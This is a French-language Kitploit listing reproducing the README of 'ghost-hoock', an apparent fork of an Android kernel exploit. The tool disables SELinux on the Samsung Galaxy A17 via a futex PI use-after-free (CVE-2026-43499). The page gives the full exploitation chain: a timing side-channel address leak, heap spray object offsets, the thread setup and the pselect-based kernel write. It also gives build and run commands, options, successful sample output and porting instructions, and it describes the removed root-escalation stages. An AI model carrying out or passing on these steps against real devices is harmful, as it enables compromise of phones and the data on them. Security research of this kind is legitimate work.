Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/genksome/ghost-hoock
Sécurité AndroidEscalade de PrivilègesCriminalistique MémoireAnalyse des VulnérabilitésExploitationSécurité MobileArticles et RechercheDéveloppement de Charges UtilesExploitation de Binaires
GitHubgenksome/ghost-hoock

ghost-hoock

GhostLock réduit à une seule primitive : SELinux désactivé sur Galaxy A17 (BZA5) via futex PI UAF (CVE-2026-43499). Pas de root, pas de patch de cred, pas de rwforge.

il y a 9 heuresPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

ghost-hoock

Un fork minimal de GhostLock qui ne conserve qu'une seule primitive : désactiver SELinux via CVE-2026-43499 (futex PI UAF).

ghost-hoock running on Samsung A17

kernel device cve license platform


Table des matières

  • Qu'est-ce que c'est
  • Comment ça fonctionne
  • Ce qui a été conservé de l'original
  • Ce qui a été supprimé
  • Compilation
  • Exécution
  • Prérequis
  • Limitations et risques
  • Structure du projet
  • Licence
  • Crédits
  • Liens

Qu'est-ce que c'est

ghost-hoock est un fork allégé de l'exploit GhostLock par Mobile Hacking Lab, réduit à une seule primitive :

Une écriture contrainte via futex PI UAF -> selinux_enforcing = 0.

Pas de root, pas d'écrasement de cred, pas de canal rwforge, pas d'UMH, pas de configfs. Juste le minimum nécessaire pour basculer SELinux en mode permissif sur le noyau vulnérable.

Exemple de sortie sur un Samsung Galaxy A17 (SM-A175F, BZA5) :

root@kitploit:~

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

Puis :

root@kitploit:~
$ getenforce
Permissive

getenforce returns Permissive


Comment ça fonctionne

L'exploit cible CVE-2026-43499 — un use-after-free dans la chaîne rt_mutex PI (Priority Inheritance) du futex du noyau Linux. La chaîne dans ghost-hoock comporte quatre étapes :

1. Fuite de mm_struct via KernelSnitch

Canal auxiliaire temporel contre la table de hachage futex du noyau. Nous martelons FUTEX_WAKE_PRIVATE sur un ensemble de futex en espace utilisateur, mesurons les deltas rdtsc et corrélons les collisions de buckets de hachage. Cela permet de récupérer l'adresse de notre propre mm_struct — la base de la page de spray dont nous aurons besoin plus tard.

Il s'agit de la technique KernelSnitch, reprise telle quelle de l'exploit original.

2. Heap spray

Nous allouons une grande page slab d'order-3, puis la disposons avec la structure de faux objets utilisée par la route PI :

3. Route PI

Trois threads :

  • waiter — entre dans FUTEX_WAIT_REQUEUE_PI sur f_wait, ciblant f_pi_target.
  • owner — détient FUTEX_LOCK_PI sur f_pi_target puis sur f_pi_chain.
  • consumer — boucle en appelant sched_setattr(tid, SCHED_BATCH, nice=19) sur le TID du waiter, ce qui déclenche rt_mutex_setprio() et force le noyau à parcourir le faux arbre PI.

Un quatrième appel depuis le thread principal — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — lance la requeue. À l'intérieur du noyau, rb_erase() s'exécute contre notre faux arbre.

4. Écriture contrainte via pselect

pselect() / select() copie le fd_set de l'utilisateur dans la pile du noyau puis le parcourt. Nous agençons les bitmaps du fd_set de sorte que les mots que le noyau traite comme des pointeurs d'arbre rb atterrissent sur fake_right et son parent — et le rb_set_parent(child, parent) résultant devient :

root@kitploit:~

*(uint64_t *)target = value | color

Pour mode = 1 (Write 1), target = selinux_enforcing et value = base + 0x100, ce qui s'encode en byte0 = 0, byte1 = 1. Le noyau écrit 0 dans selinux_enforcing[0] — SELinux est désormais permissif.


Ce qui a été conservé de l'original

Il s'agit d'un fork de mobilehackinglab/ghostlock-a17 (MIT). Ce qui suit est repris à l'identique de l'exploit amont :

Le code auxiliaire (macros pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) est également conservé tel quel depuis l'original.


Ce qui a été supprimé

Le GhostLock original obtient un root complet sur l'A17 : il installe un canal physique R/W rwforge, patche cred / real_cred, exécute un helper UMH avec les creds init, capture les logs, et plus encore. Dans ghost-hoock, tout ce qui suit la première écriture contrainte a disparu.

Le GhostLock original reste plus complet et plus puissant que ce fork. ghost-hoock n'est pas un remplacement — c'est un PoC minimal pour une tâche étroite : désactiver SELinux.


Compilation

Sur l'appareil (clang, Termux ou adb shell)

Nécessite clang et make dans le $PATH. Testé sur Termux ; fonctionne aussi via adb shell si la toolchain est présente.

root@kitploit:~
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

Sortie : ./ghost-hoock (aarch64, PIE).

Via Android NDK (sur un PC)

root@kitploit:~
make NDK=/path/to/android-ndk-r26

ou manuellement :

root@kitploit:~
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

Vérification de la compilation croisée

root@kitploit:~
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

Exécution

root@kitploit:~
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirm SELinux is currently enforcing
getenforce
# -> Enforcing

# run
/data/local/tmp/ghost-hoock

# verify
getenforce
# -> Permissive

Options

root@kitploit:~
ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

Variables d'environnement

· GHOSTLOCK_CORE — 0..N. Cœur CPU sur lequel le thread consumer est épinglé. Par défaut : 0. · KPHYS — 0x.... Adresse physique de chargement du noyau, si elle diffère de P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Nombre de pages slab préparées pendant le spray. Par défaut : 32. · PSELECT_SHIFT — -14..14. Décalage de mot du fd_set. Débogage uniquement. · FOPS_MAX_ATTEMPTS — 4..72. Nombre maximal de tentatives de prepare_kernel_page pour le payload FOPS. · RWF_DEBUG — n'importe quelle valeur. Affiche les lignes de débogage de la construction du payload.


Prérequis

  • Appareil : Samsung Galaxy A17 SM-A175F (BZA5) — la cible pour laquelle cette table d'offsets a été extraite.
  • Noyau : 6.12.23-android16-5-abA175FXXS5BZD2-4k.
  • Contexte : doit être exécuté depuis le contexte SELinux shell (u:r:shell:s0), pas depuis une application.
  • Permissions : rien de spécial — aucun root requis. Tout l'intérêt est de désactiver SELinux sans root.

Portage : d'autres appareils/noyaux nécessitent leur propre table d'offsets. Ajoutez une nouvelle OFFSETS_ENTRY(...) dans include/offsets_bza5.h avec les offsets de symboles extraits de vmlinux/kallsyms pour cette build, puis recompilez.


Limitations et risques

  • Des kernel panics sont possibles. Le fork hérite du risque de l'original : un page_base erroné ou une écriture qui atterrit sur une mémoire non liée fera planter le noyau. Le fork a moins de surface que l'original (pas de rwforge, pas de patch cred, pas d'UMH), il est donc statistiquement plus sûr, mais pas infaillible à 100 %.
  • KASLR est désactivé sur BZA5. L'exploit repose sur slide = 0. Il n'y a aucune fuite KASLR dans ce fork. Si vous le portez sur un noyau avec KASLR activé, vous devez réintroduire slide.c depuis l'original.
  • SELinux uniquement. Le fork ne donne pas root. Il écrit seulement 0 dans selinux_enforcing. Si vous avez besoin de root, utilisez le ghostlock-a17 complet.
  • Écriture unique. Seul Write 1 (selinux_enforcing = 0) est conservé. N'essayez pas de l'étendre en Write 2 ou vers le pipeline rwforge sans comprendre en profondeur la route PI.
  • Nécessite que l'écriture aboutisse en ~20 tentatives. Si la première tentative W1 échoue, la boucle réessaie. Sur un démarrage frais avec un système majoritairement inactif, elle aboutit généralement à la tentative 1.

Structure du projet

root@kitploit:~

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md


Licence

MIT — identique à l'amont ghostlock-a17. Voir LICENSE.

Ce fork conserve l'avis de copyright original de mobilehackinglab (2026) et ajoute les auteurs du fork par-dessus, comme l'exigent les termes de la MIT.

Le projet est publié strictement pour la recherche en sécurité sur votre propre appareil. L'exécuter contre un appareil que vous ne possédez pas est illégal dans la plupart des juridictions.


Crédits

  • Mobile Hacking Lab — exploit original ghostlock-a17, sur lequel ce fork est construit.
  • IAIK KernelSnitch — technique de fuite de mm_struct.
  • Les chercheurs originaux de CVE-2026-43499 — pour le reverse-engineering du futex PI UAF.

Liens

  • Exploit amont : https://github.com/mobilehackinglab/ghostlock-a17
  • Ce fork : https://github.com/genksome/ghost-hoock
  • CVE : CVE-2026-43499

Built for research. Tested on a single physical device. Use at your own risk.

Télécharger l’outil
OffsetObjetRôle
0x0E80fake_lockFaux rt_mutex
0x0F80fake_fopsFausse table file_operations
0x1180fake_w0Faux rt_mutex_waiter utilisé comme arbre cible
0x1240fake_rightFaux nœud droit de l'arbre rb — c'est de là que provient la valeur écrite
0x1260fake_leftFaux nœud gauche de l'arbre rb
0x1280fake_taskFaux task_struct

La page entière est envoyée via un socket AF_UNIX sous forme de SKB_SEND_SIZE = 2 * ORDER3_SIZE de sendmsg, de sorte que les données du skb atterrissent sur notre page divulguée. Nous la libérons ensuite dans un ordre contrôlé afin que notre page se retrouve sur un slab partiel par CPU que nous pouvons récupérer.

ret = 6 (au lieu du 9 par défaut) confirme que l'écriture a abouti : le consumer a atteint la cible pendant select(), le réveillant prématurément.

ComposantFichierNotes
KernelSnitchsrc/kernelsnitch/*Fuite de mm_struct via le timing du hachage futex
Heap spraysrc/spray.cStructure de faux objets, prepare_skb_payload, prepare_kernel_page
Route PI + pselectsrc/route.cprepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread
Offsets BZA5include/offsets_bza5.hTable de symboles extraite de 6.12.23-android16-5-abA175FXXS5BZD2-4k
En-tête cible BZA5include/target.hDisposition des adresses, offsets de payload (sous-ensemble W1 uniquement)
Offsets de structures runtimeinclude/runtime_struct_offsets.hMacros _RSO() pour les champs de task_struct
Fichier suppriméPourquoi il existait dans l'original
rwforge_a17.cCanal physique R/W marching-forger via pipe_buffers
pipe_physrw.c, pipe_reclaim.cRécupération de pipe-buffer -> lecture/écriture arbitraire du noyau
root.cÉcrasement de cred / real_cred, installation de su, patch des SID SELinux
umh_root.c, wq_umh_root() (dans main.c)Exécution d'un helper avec creds init depuis un élément de workqueue noyau forgé
slide.cFuite KASLR via l'oracle boot_id — non nécessaire sur BZA5, KASLR est désactivé
miniadb.cBootstrap via ADB TCP
try_cfi_stage() (dans fops.c)Étape configfs compatible CFI utilisée pour amorcer le chemin root
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture()Tout le pipeline root
install_embedded_su(), install_embedded_wallpaper()Helpers d'installation root
Write 2 (cred), patch_cred_*, patch_task_seccompPrise de contrôle des credentials après W1